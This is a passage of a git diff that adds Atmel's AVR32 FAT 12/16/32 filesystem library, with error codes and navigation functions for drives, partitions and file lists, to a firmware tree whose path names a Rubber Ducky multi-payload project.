FS_ERR_NO_FIND (FAIL+8) //!< File no found +#define FS_ERR_ENTRY_EMPTY (FAIL+9) //!< File entry empty +#define FS_ERR_ENTRY_BAD (FAIL+10) //!< File entry bad +#define FS_ERR_ENTRY_BADTYPE (FAIL+11) //!< File entry type don't corresponding +#define FS_ERR_NO_DIR (FAIL+12) //!< The selected file isn't a directory +#define FS_ERR_NO_MOUNT (FAIL+13) //!< The partition isn't mounted +#define FS_ERR_NO_FILE_SEL (FAIL+14) //!< There are no selected file +#define FS_NO_LAST_LFN_ENTRY (FAIL+15) //!< The file entry isn't the last long file entry + +#define FS_ERR_ID_FILE (FAIL+17) //!< The file identifier is bad +#define FS_ERR_NO_FILE (FAIL+18) //!< The selected file entry isn't a file +#define FS_LUN_WP (FAIL+19) //!< Drive is in read only mode +#define FS_ERR_READ_ONLY (FAIL+20) //!< File is on read access only +#define FS_ERR_NAME_INCORRECT (FAIL+21) //!< The name don't corresponding at the filter name +#define FS_ERR_FILE_NO_OPEN (FAIL+22) //!< No file is opened +#define FS_ERR_HW_NO_PRESENT (FAIL+23) //!< Device is not present +#define FS_ERR_IS_ROOT (FAIL+24) //!< There aren't parent because the current directory is a root directory +#define FS_ERR_OUT_LIST (FAIL+25) //!< The position is outside the cluster list +#define FS_ERR_NO_FREE_SPACE (FAIL+26) //!< No free cluster found in FAT +#define FS_ERR_INCORRECT_NAME (FAIL+27) //!< Incorrect name, this one cannot contain any of the following characters \/:*?"<>| +#define FS_ERR_DIR_NOT_EMPTY (FAIL+28) //!< This function erases only file and empty directory +#define FS_ERR_WRITE_ONLY (FAIL+29) //!< File is on write access only +#define FS_ERR_MODE_NOAVIALABLE (FAIL+30) //!< This open mode isn't available +#define FS_ERR_EOF (FAIL+31) //!< End of file +#define FS_ERR_BAD_SIZE_FAT (FAIL+32) //!< The disk size is not supported by selected FAT format +#define FS_ERR_COMMAND (FAIL+33) //!< This command is not supported +#define FS_ERR_BUFFER_FULL (FAIL+34) //!< Buffer is too small +#define FS_ERR_COPY_DIR (FAIL+35) //!< Directory copy is not supported +#define FS_ERR_COPY_RUNNING (FAIL+36) //!< A copy action is always running +#define FS_ERR_COPY_IMPOSSIBLE (FAIL+37) //!< The copy is impossible +#define FS_ERR_BAD_NAV (FAIL+38) //!< The navigator identifier doesn't existed +#define FS_ERR_FILE_OPEN (FAIL+39) //!< The file is already opened +#define FS_ERR_FILE_OPEN_WR (FAIL+40) //!< The file is already opened in write mode +#define FS_ERR_FILE_EXIST (FAIL+41) //!< The file is already existed +#define FS_ERR_NAME_TOO_LARGE (FAIL+42) //!< The file name is too large (>260 characters) +#define FS_ERR_DEVICE_TOO_SMALL (FAIL+43) //!< The disk size is too small for format routine + +#define FS_ERR_PL_NOT_OPEN (FAIL+50) //!< The play list isn't opened +#define FS_ERR_PL_ALREADY_OPEN (FAIL+51) //!< The play list is already opened +#define FS_ERR_PL_LST_END (FAIL+52) //!< You are at the end of play list +#define FS_ERR_PL_LST_BEG (FAIL+53) //!< You are at the beginning of play list +#define FS_ERR_PL_OUT_LST (FAIL+54) //!< You are outside of the play list +#define FS_ERR_PL_READ_ONLY (FAIL+55) //!< Impossible to modify the play list +//! @} + + +//! \name Compilation feature levels +//! @{ +#define FSFEATURE_READ 0x00 //!< All read functions +#define FSFEATURE_WRITE 0x02 //!< nav_file_copy(), nav_file_paste(), nav_file_del(), file_create(), file_open(MODE_WRITE), file_write(), file_putc() +#define FSFEATURE_WRITE_COMPLET 0x06 //!< FSFEATURE_WRITE + nav_drive_format(), nav_dir_make(), nav_file_rename(), nav_file_dateset(), nav_file_attributset() +#define FSFEATURE_ALL 0xFF //!< All file system module +//! @} + + +//! \name Status type for the file system +typedef uint8_t Fs_status; +//! \name Global status of file system module (used to return error number) +_GLOBEXT_ _MEM_TYPE_SLOW_ Fs_status fs_g_status; + +#endif // _FAT_COM_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/navigation.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/navigation.c new file mode 100644 index 0000000..bf90ee0 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/services/fs/fat/navigation.c @@ -0,0 +1,2409 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief FAT 12/16/32 Services. + * + * This file defines a useful set of functions for file navigation. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ +//_____ I N C L U D E S ___________________________________________________ +#include // Use of toupper + +#include "conf_explorer.h" +#include "navigation.h" +#include "file.h" +#include LIB_CTRLACCESS + + +//_____ M A C R O S ________________________________________________________ + + +//_____ D E F I N I T I O N S ______________________________________________ + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) +//! Holds the current ID transfer used by the internal copy-paste routines + _MEM_TYPE_SLOW_ uint8_t g_id_trans_memtomem = ID_STREAM_ERR; +#endif + +#if (FS_NB_NAVIGATOR > 1) +//! Holds the current navigator selected + _MEM_TYPE_SLOW_ uint8_t fs_g_u8_nav_selected; +#endif + +#if (FSFEATURE_WRITE == (FS_LEVEL_FEATURES & FSFEATURE_WRITE)) + _MEM_TYPE_SLOW_ Fs_file_segment g_segment_src; + _MEM_TYPE_SLOW_ Fs_file_segment g_segment_dest; +#endif + +#define SIZE_OF_SPLIT_COPY ((1*1024*1024L)/512L) // 1MB - Unit sector (max = 0xFFFF) + + +//_____ D E C L A R A T I O N S ____________________________________________ + +//********************************************************************** +//************************ String format select ************************ +#if( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) +//! This function selects the UNICODE mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_unicode( void ) +{ + g_b_unicode = true; +} +//! This function selects the ASCII mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_ascii( void ) +{ + g_b_unicode = false; +} +#endif + +//! This function selects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_enable( void ) +{ + g_b_string_length = true; +} +//! This function deselects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_disable( void ) +{ + g_b_string_length = false; +} + +//********************************************************************** +//********************** To optimize speed access ********************** + +//! This function disables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_disable( void ) +{ + g_b_no_check_disk = true; +} + +//! This function enables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_enable( void ) +{ + g_b_no_check_disk = false; +} + + +//********************************************************************** +//************** Initialise or Stop navigation module ****************** + + +//! This function resets ALL navigations to init file system core +//! +//! @verbatim +//! Call this at the program startup or before a new session (e.g. USB Device exit) +//! @endverbatim +//! +void nav_reset( void ) +{ +#if ( (FS_ASCII == ENABLED) && (FS_UNICODE == ENABLED)) + g_b_unicode = true; +#endif + g_b_string_length = false; + g_b_no_check_disk = false; + + fat_cache_reset(); + fat_cache_clusterlist_reset(); + +#if (FS_NB_NAVIGATOR > 1) + { + uint8_t i; + // Reset variables of each navigators + for( i=0 ; i!=FS_NB_NAVIGATOR ; i++ ) + { + nav_select(i); + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + fs_g_nav.u8_lun = 0xFF; // By default don't select a drive +#if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // By default select the first partition +#endif + Fat_file_close(); // By default no file is opened + fs_g_nav.b_mode_nav_single = false; // By default display files and directories + } + // By default select the navigator 0 + fs_g_u8_nav_selected = 0; + } +#else + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; // By default the fat isn't mounted + fs_g_nav.u8_lun = 0xFF; // By default don't select a drive +# if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // By default select the first partition +# endif + Fat_file_close(); // By default no file is opened +#endif // (FS_NB_NAVIGATOR > 1) +} + + +//! This function flush ALL navigations before exit of file system core +//! +//! @verbatim +//! Call this at the program exit or before a USB Device session +//! @endverbatim +//! +void nav_exit( void ) +{ + // If you have opened files then close them +#if (FS_NB_NAVIGATOR > 1) + uint8_t u8_i; + for( u8_i=0; u8_i 1) + if( fs_g_u8_nav_selected != u8_idnav ) + { + fat_invert_nav( fs_g_u8_nav_selected ); // Deselect previous navigator = Select default navigator + fat_invert_nav( u8_idnav ); // Select new navigator + fs_g_u8_nav_selected = u8_idnav; + } +#endif + return true; +} + + +//! This function returns the navigation identifier used +//! +//! @return u8_idnav navigator identifier selected +//! +uint8_t nav_get( void ) +{ +#if (FS_NB_NAVIGATOR > 1) + return fs_g_u8_nav_selected; +#else + return 0; +#endif +} + + +//! This function copys the navigator information to another navigator +//! +//! @param u8_idnav navigator identifier where the main navigator will be copied +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Use this routine to select quickly the same file in another navigator +//! @endverbatim +//! +Bool nav_copy( uint8_t u8_idnav ) +{ +#if (FS_NB_NAVIGATOR > 1) + if( fs_g_u8_nav_selected == u8_idnav ) + return false; // It is the source and destination is the same navigator + if( 0 == u8_idnav ) + u8_idnav = fs_g_u8_nav_selected; // the default navigator is invert with the current navigator + if( 0 == u8_idnav) + return false; // It is the source and destination is the same navigator + fat_copy_nav( u8_idnav ); + return true; +#else + u8_idnav++; + return false; // Copy impossible because only one navigator is available +#endif +} + + +//********************************************************************** +//********************* Drive navigation functions ********************* + + +//! This function returns the number of devices availabled +//! +//! @return number of devices, 0 = NO DEVICE AVAILABLED +//! +//! @verbatim +//! This value may be dynamic because it depends of memory drivers (e.g. Mass Storage disk on USB host mode) +//! @endverbatim +//! +uint8_t nav_drive_nb( void ) +{ + return get_nb_lun(); // Number of devices = Number of lun +} + + +//! This function selects a drive in navigator but don't mount the disk partition +//! +//! @param u8_number device number (0 to nav_drive_nb()-1 ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_drive_set( uint8_t u8_number ) +{ + if ( !fat_check_noopen() ) + return false; + + if (u8_number >= get_nb_lun() ) + { + fs_g_status = FS_ERR_END_OF_DRIVE; // The drive number is bad + return false; + } + + if ( fs_g_nav.u8_lun == u8_number) + return true; // It is the same drive number + + // Go to the device + fs_g_nav.u8_lun = u8_number; + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; +#if (FS_MULTI_PARTITION == ENABLED) + fs_g_nav.u8_partition=0; // by default select the first partition +#endif + return true; +} + + +//! This function returns the selected drive number +//! +//! @return 0 to nav_drive_nb()-1 +//! @return 0xFF in case of no drive selected +//! +uint8_t nav_drive_get( void ) +{ +#if (FS_MULTI_PARTITION == ENABLED) + if(0xFF == fs_g_nav.u8_lun) + return 0xFF; + return ((fs_g_nav.u8_lun*4) + fs_g_nav.u8_partition); // Maximum 4 partitions per device +#else + return (fs_g_nav.u8_lun); +#endif +} + + +//! This function returns the selected drive letter +//! +//! @return 'A','B',... +//! @return 'X', in case of no drive selected +//! +uint8_t nav_drive_getname( void ) +{ + if(0xFF == fs_g_nav.u8_lun) + return 'X'; +#if (FS_MULTI_PARTITION == ENABLED) + return ('A' + (fs_g_nav.u8_lun*4) + fs_g_nav.u8_partition); // Maximum 4 partitions per device +#else + return ('A' + fs_g_nav.u8_lun); +#endif +} + + +#if (FSFEATURE_WRITE_COMPLET == (FS_LEVEL_FEATURES & FSFEATURE_WRITE_COMPLET)) +//! This function formats the current drive (=disk) +//! +//! @param u8_fat_type Select the format type
+//! FS_FORMAT_DEFAULT, The system chooses the better FAT format
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! FS_FORMAT_NOMBR_FLAG, if you don't want a MRB on the disk then add this flag (e.g. specific partition structure on a CD support) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! WARNING: This routine can't format a multi-partiton, if the disk contains a multi-partition +//! then this one is erased and replaced by a single partition on ALL disk space. +//! @endverbatim +//! +Bool nav_drive_format( uint8_t u8_fat_type ) +{ + if ( !fat_check_noopen() ) + return false; + if ( !fat_check_nav_access_disk() ) + return false; + if ( !fat_format( u8_fat_type ) ) + return false; + return fat_mount(); +} +#endif // FS_LEVEL_FEATURES + + +//********************************************************************** +//******************* Partition navigation functions ******************* + + +#if (FS_MULTI_PARTITION == ENABLED) +//! This function returns the number of partitions present on drive +//! +//! @return u8_number number of partitions +//! +uint8_t nav_partition_nb( void ) +{ + return fat_get_nbpartition(); +} + + +//! This function selects a partition on drive +//! +//! @param partition_number partition number (0 to 3) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_set( uint8_t partition_number ) +{ + if ( fs_g_nav.u8_partition == partition_number) + return true; // It is the same + + if ( !fat_check_noopen() ) + return false; + + // Go to partition + fs_g_nav.u8_partition = partition_number; + fs_g_nav_fast.u8_type_fat = FS_TYPE_FAT_UNM; + return true; +} +#endif + + +//! This function mounts the selected partition +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! After mount, the file list contains files and directories of ROOT directory +//! @endverbatim +//! +Bool nav_partition_mount( void ) +{ + if ( !fat_check_noopen() ) + return false; + + if( FS_TYPE_FAT_UNM != fs_g_nav_fast.u8_type_fat) + { + // Already mounted + // Go to root directory + fs_g_nav.u32_cluster_sel_dir = 0; + // No file is selected by default + fat_clear_entry_info_and_ptr(); + return true; + } + + return fat_mount(); +} + + +//! This function gives the partition type +//! +//! @return partition type: FS_TYPE_FAT_12, FS_TYPE_FAT_16, FS_TYPE_FAT_32 +//! @return FS_TYPE_FAT_UNM, in case of error or unknow format +//! +uint8_t nav_partition_type( void ) +{ + fat_check_device(); + if( FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + { + nav_partition_mount(); + } + return fs_g_nav_fast.u8_type_fat; +} + + +//! This function reads or writes the serial number on the selected partition +//! +//! @param b_action to select the action
+//! FS_SN_READ to read serial number
+//! FS_SN_WRITE to write serial number
+//! @param a_u8_sn pointer on an array (4 bytes)
+//! if FS_SN_READ, then the array is used to store the serial number
+//! if FS_SN_WRITE, then the array is used to give the new serial number
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_serialnumber( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn ) +{ + if( !fat_check_mount()) + return false; + + return fat_serialnumber( b_action , a_u8_sn ); +} + + +//! This function reads or writes the label of selected partition +//! +//! @param b_action to select the action
+//! FS_LABEL_READ to read label
+//! FS_LABEL_WRITE to write label
+//! @param sz_label pointer on a ASCII string (11 chars + NULL terminator =12 bytes)
+//! if FS_LABEL_READ, then the string is used to store label
+//! if FS_LABEL_WRITE, then the string is used to give the new label
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_label( Bool b_action , FS_STRING sz_label ) +{ + _MEM_TYPE_SLOW_ Fs_index index; + Bool status = true; + + index = nav_getindex(); // Save current position + + // Go to root dir + if( nav_dir_root()) + { + // Find field label + fs_g_nav_fast.u16_entry_pos_sel_file = 0; // Go to first entry + while( 1 ) + { + if ( !fat_read_dir()) + { + status = false; + break; // error + } + if( fat_entry_label( FS_LABEL_READ , NULL ) ) + break; + if( FS_ERR_ENTRY_EMPTY == fs_g_status ) + break; + fs_g_nav_fast.u16_entry_pos_sel_file++; + } + if( true == status ) + { + // Find OK + if( FS_LABEL_READ == b_action ) + { + // Read field label + if( !fat_entry_label( FS_LABEL_READ , sz_label ) ) + sz_label[0]=0; // empty name + }else{ + // Change field label + status = fat_entry_label( FS_LABEL_WRITE , sz_label ); + } + } + } + nav_gotoindex( &index ); // Restore the position + return status; +} + + +//! This function returns partition total space +//! +//! @return number of sectors +//! @return 0, in case of error +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_space( void ) +{ + fat_check_device(); + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return 0; + return (fs_g_nav.u32_CountofCluster * fs_g_nav.u8_BPB_SecPerClus); +} + + +//! This function returns the partition cluster size +//! +//! @return cluster size (unit sector) +//! +uint8_t nav_partition_cluster_size( void ) +{ + return fs_g_nav.u8_BPB_SecPerClus; +} + +//! This function returns the partition free space +//! +//! @return number of free sectors +//! @return 0 in case of error or full partition +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_freespace( void ) +{ + fat_check_device(); + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return 0; + return fat_getfreespace(); +} + + +//! This function returns the partition space free in percent +//! +//! @return percent of free space (0% to 100%) +//! @return 0% in case of error or full partition +//! +//! @verbatim +//! To speed up the compute, the resultat have an error delta of 1% +//! @endverbatim +//! +uint8_t nav_partition_freespace_percent( void ) +{ + fat_check_device(); + if (FS_TYPE_FAT_UNM == fs_g_nav_fast.u8_type_fat) + return 0; + return fat_getfreespace_percent(); +} + + +//********************************************************************** +//****************** File list navigation functions ******************** + + +//! To display in File List only the files OR directories +//! +//! @param b_type FS_DIR to display only directories presence
+//! FS_FILE to dispaly only files presence
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_enable( Bool b_type ) +{ + if ( !nav_filelist_reset()) + return false; + + fs_g_nav.b_mode_nav_single = true; + fs_g_nav.b_mode_nav = b_type; + return true; +} + + +//! To display in File List the directories AND files +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_disable( void ) +{ + fs_g_nav.b_mode_nav_single = false; + return nav_filelist_reset(); +} + + +//! This function resets the selection pointer, so "no file selected" in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_reset( void ) +{ + if ( !fat_check_mount_noopen()) + return false; + + // No file selected and reset navigation + fat_clear_entry_info_and_ptr(); + return true; +} + + +//! This function checks if a file is selected +//! +//! @return true if a file is selected +//! @return false if no file is selected +//! +Bool nav_filelist_validpos( void ) +{ + return fat_check_mount_select_noopen(); +} + + +//! This function checks if no file is open +//! +//! @return true if no file is open +//! @return false if a file is open +//! +Bool nav_filelist_fileisnotopen( void ) +{ + return fat_check_noopen(); +} + + +//! This function moves the selection pointer in file list +//! +//! @param u16_nb numbers of file to jump before stopping action
+//! 0, stop at the first file found
+//! 1, stop at the second file found
+//! +//! @param b_direction search direction
+//! FS_FIND_NEXT, move to next file or directory +//! FS_FIND_PREV, move to previous file or directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Note: if no file is selected then nav_filelist_set( 0 , FS_NEXT ) goes to the first entry of the file list. +//! @endverbatim +//! +Bool nav_filelist_set( uint16_t u16_nb , Bool b_direction ) +{ + uint16_t u16_ptr_save_entry; + uint16_t u16_save_pos_sel_file; + Bool b_save_entry_type; + Bool b_find_last_entry = false; + + if ( !fat_check_mount_noopen()) + return false; + + // Save the current selection + u16_ptr_save_entry = fs_g_nav_fast.u16_entry_pos_sel_file; + u16_save_pos_sel_file = fs_g_nav.u16_pos_sel_file; + b_save_entry_type = fs_g_nav.b_mode_nav; + + // Loop in directory + while( 1 ) + { + if(( FS_FIND_NEXT == b_direction ) + || ( b_find_last_entry ) ) + { + if ( FS_END_FIND == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // Too many files in directory (case impossible) + fs_g_status = FS_ERR_FS; + break; + } + fs_g_nav_fast.u16_entry_pos_sel_file++; // Update entry position + } + else + { + if ( FS_NO_SEL == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // No selected file then previous action impossible + fs_g_status = FS_ERR_NO_FIND; + break; + } + if ( 0 == fs_g_nav_fast.u16_entry_pos_sel_file ) + { + // beginning of directory + if ( (FS_DIR == fs_g_nav.b_mode_nav ) || fs_g_nav.b_mode_nav_single ) + { + // End of directory scan, then no previous action possible + fs_g_status = FS_ERR_NO_FIND; + break; + } + // End of file scan, then find last directory + b_find_last_entry = true; + }else{ + fs_g_nav_fast.u16_entry_pos_sel_file--; // Update entry position + } + } + + if( !fat_read_dir()) + { + if( FS_ERR_OUT_LIST != fs_g_status ) + break; // Error + }else{ + if ( fat_entry_check( fs_g_nav.b_mode_nav ) ) + { + // HERE, the file entry match with the type seached + + if( b_find_last_entry ) + continue; // The search of last directory is on going then continue the search + + // Update position in directory + if ( FS_FIND_NEXT == b_direction ) + fs_g_nav.u16_pos_sel_file++; + else + fs_g_nav.u16_pos_sel_file--; + + if (0 == u16_nb) + { + // It is the end of move then update file information + fat_get_entry_info(); + return true; // NB FILE FIND + } + u16_nb--; + continue; + } + } + + // Here error, check type of error + if(( FS_ERR_ENTRY_EMPTY == fs_g_status ) + || ( FS_ERR_OUT_LIST == fs_g_status ) ) + { + // Here, end of the directory + if( b_find_last_entry ) + { + // Re enable the previous command at the end of directory to find the last directory entry + b_find_last_entry = false; + fs_g_nav.b_mode_nav = FS_DIR; + continue; + } + // Here, a next action is on going + if ( (FS_FILE == fs_g_nav.b_mode_nav) || fs_g_nav.b_mode_nav_single ) + { + // End of next file action then end of next action + fs_g_status = FS_ERR_NO_FIND; // No file found + break; // end of search + }else{ + // End of next dir action then starts the next file action at the beginning of directory + fs_g_nav_fast.u16_entry_pos_sel_file = 0xFFFF; + fs_g_nav.b_mode_nav = FS_FILE; + } + } + } // end of loop while(1) + + fs_g_nav.b_mode_nav = b_save_entry_type; + fs_g_nav_fast.u16_entry_pos_sel_file = u16_ptr_save_entry; + fs_g_nav.u16_pos_sel_file = u16_save_pos_sel_file; + return false; +} + + +//! This function returns the position of selected file in file list +//! +//! @return position of selected file (0 is the first position) +//! @return FS_NO_SEL, in case of no file selected +//! +uint16_t nav_filelist_get( void ) +{ + return fs_g_nav.u16_pos_sel_file; +} + + +//! This function goes at a position in file list +//! +//! @param u16_newpos new position to select (0 is the first position) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_goto( uint16_t u16_newpos ) +{ + uint16_t u16_current_pos; + + if( FS_NO_SEL == u16_newpos ) + return nav_filelist_reset(); + + u16_current_pos = nav_filelist_get(); + if( u16_newpos < (u16_current_pos/2) ) + { + // Restart at the beginning of list to accelerate the search + if( !nav_filelist_reset() ) + return false; + u16_current_pos = FS_NO_SEL; + } + if (FS_NO_SEL == u16_current_pos) + { + return nav_filelist_set( u16_newpos, FS_FIND_NEXT ); + } + else + { + if (u16_newpos < u16_current_pos) + { + return nav_filelist_set( u16_current_pos -u16_newpos -1 , FS_FIND_PREV ); + } + if (u16_newpos > u16_current_pos) + { + return nav_filelist_set( u16_newpos -u16_current_pos - 1 , FS_FIND_NEXT ); + } + } + return true; +} + + +//! This function searchs a file name in file list +//! +//! @param sz_name name to search (UNICODE or ASCII)
+//! It must be terminate by NULL or '*' value +//! @param b_match_case false to ignore the case +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This function starts a search at the next position of the current in file list +//! @endverbatim +//! +Bool nav_filelist_findname( const FS_STRING sz_name , Bool b_match_case ) +{ + while( 1 ) + { + if ( !nav_filelist_set( 0, FS_FIND_NEXT )) + return false; + if ( nav_file_name( sz_name , 0 , FS_NAME_CHECK , b_match_case )) + return true; + } +} + + +//! This function checks the end of file list +//! +//! @return false, NO end of file list +//! @return true, in case of end of list or error +//! +Bool nav_filelist_eol( void ) +{ + if( false == nav_filelist_set( 0 , FS_FIND_NEXT ) ) + return true; // End of list or error (remark: the position haven't changed) + + if( 0 != fs_g_nav.u16_pos_sel_file ) + { + // Go to previous position + nav_filelist_set( 0 , FS_FIND_PREV ); + }else{ + // No select file before, then reset position + fs_g_nav_fast.u16_entry_pos_sel_file= FS_NO_SEL; + fs_g_nav.u16_pos_sel_file = FS_NO_SEL; + fs_g_nav.b_mode_nav = FS_DIR; + } + return false; +} + + +//! This function checks the beginning of file list +//! +//! @return false, it is not the beginning of file list +//! @return true, in case of the file selected is the first file, or in case of error +//! +Bool nav_filelist_bol( void ) +{ + if( false == nav_filelist_set( 0 , FS_FIND_PREV ) ) + return true; // End of list or error (remark: the position haven't changed) + // Go to previous position + nav_filelist_set( 0 , FS_FIND_NEXT ); + return false; +} + + +//! This function checks the presence of files or directories in file list +//! +//! @param b_type FS_DIR to check the directory presence
+//! FS_FILE to check the file presence
+//! +//! @return true, in case of a file or a directory exists +//! @return false, in case of no file or no directory exists, or error +//! +Bool nav_filelist_exist( Bool b_type ) +{ + Bool status; + uint16_t u16_save_position; + + // Save current position + u16_save_position = fs_g_nav.u16_pos_sel_file; + // Go to first file or directory + status = nav_filelist_first( b_type ); + // Restore previous position + nav_filelist_reset(); + if ( u16_save_position != FS_NO_SEL ) + { + nav_filelist_set( u16_save_position , FS_FIND_NEXT ); + } + return status; +} + + +//! This function computes the number of files or directories in file list +//! +//! @param b_type FS_DIR to compute the number of directories
+//! FS_FILE to compute the number of files
+//! +//! @return number of files or directories in file list +//! +uint16_t nav_filelist_nb( Bool b_type ) +{ + uint16_t u16_save_position; + uint16_t u16_save_number_dir; + uint16_t u16_save_number_file; + + // Save current position + u16_save_position = fs_g_nav.u16_pos_sel_file; + // Reset position + if ( !nav_filelist_reset()) + return 0; + // Scan all directory + u16_save_number_dir = 0; + u16_save_number_file = 0; + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if( FS_FILE == fs_g_nav.b_mode_nav ) + u16_save_number_file++; // It is a file + else + u16_save_number_dir++; // It is a directory + } + // Restore previous position + nav_filelist_reset(); + if ( u16_save_position != FS_NO_SEL ) + { + nav_filelist_set( u16_save_position , FS_FIND_NEXT ); + } + // Return the value asked + if( FS_FILE == b_type ) + return u16_save_number_file; + else + return u16_save_number_dir; +} + + +//! This function goes to at the first file or directory in file list +//! +//! @param b_type FS_DIR to go at the first directory
+//! FS_FILE to go at the first file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_first( Bool b_type ) +{ + // Reset position + if ( !nav_filelist_reset()) + return false; + // Find the first file or directory + while( nav_filelist_set( 0 , FS_FIND_NEXT ) ) + { + if( b_type == fs_g_nav.b_mode_nav ) + return true; // First file or directory found + } + fs_g_status = FS_ERR_NO_FIND; + return false; +} + + +//! This function goes to at the last file or directory in file list +//! +//! @param b_type FS_DIR to go at the last directory
+//! FS_FILE to go at the last file
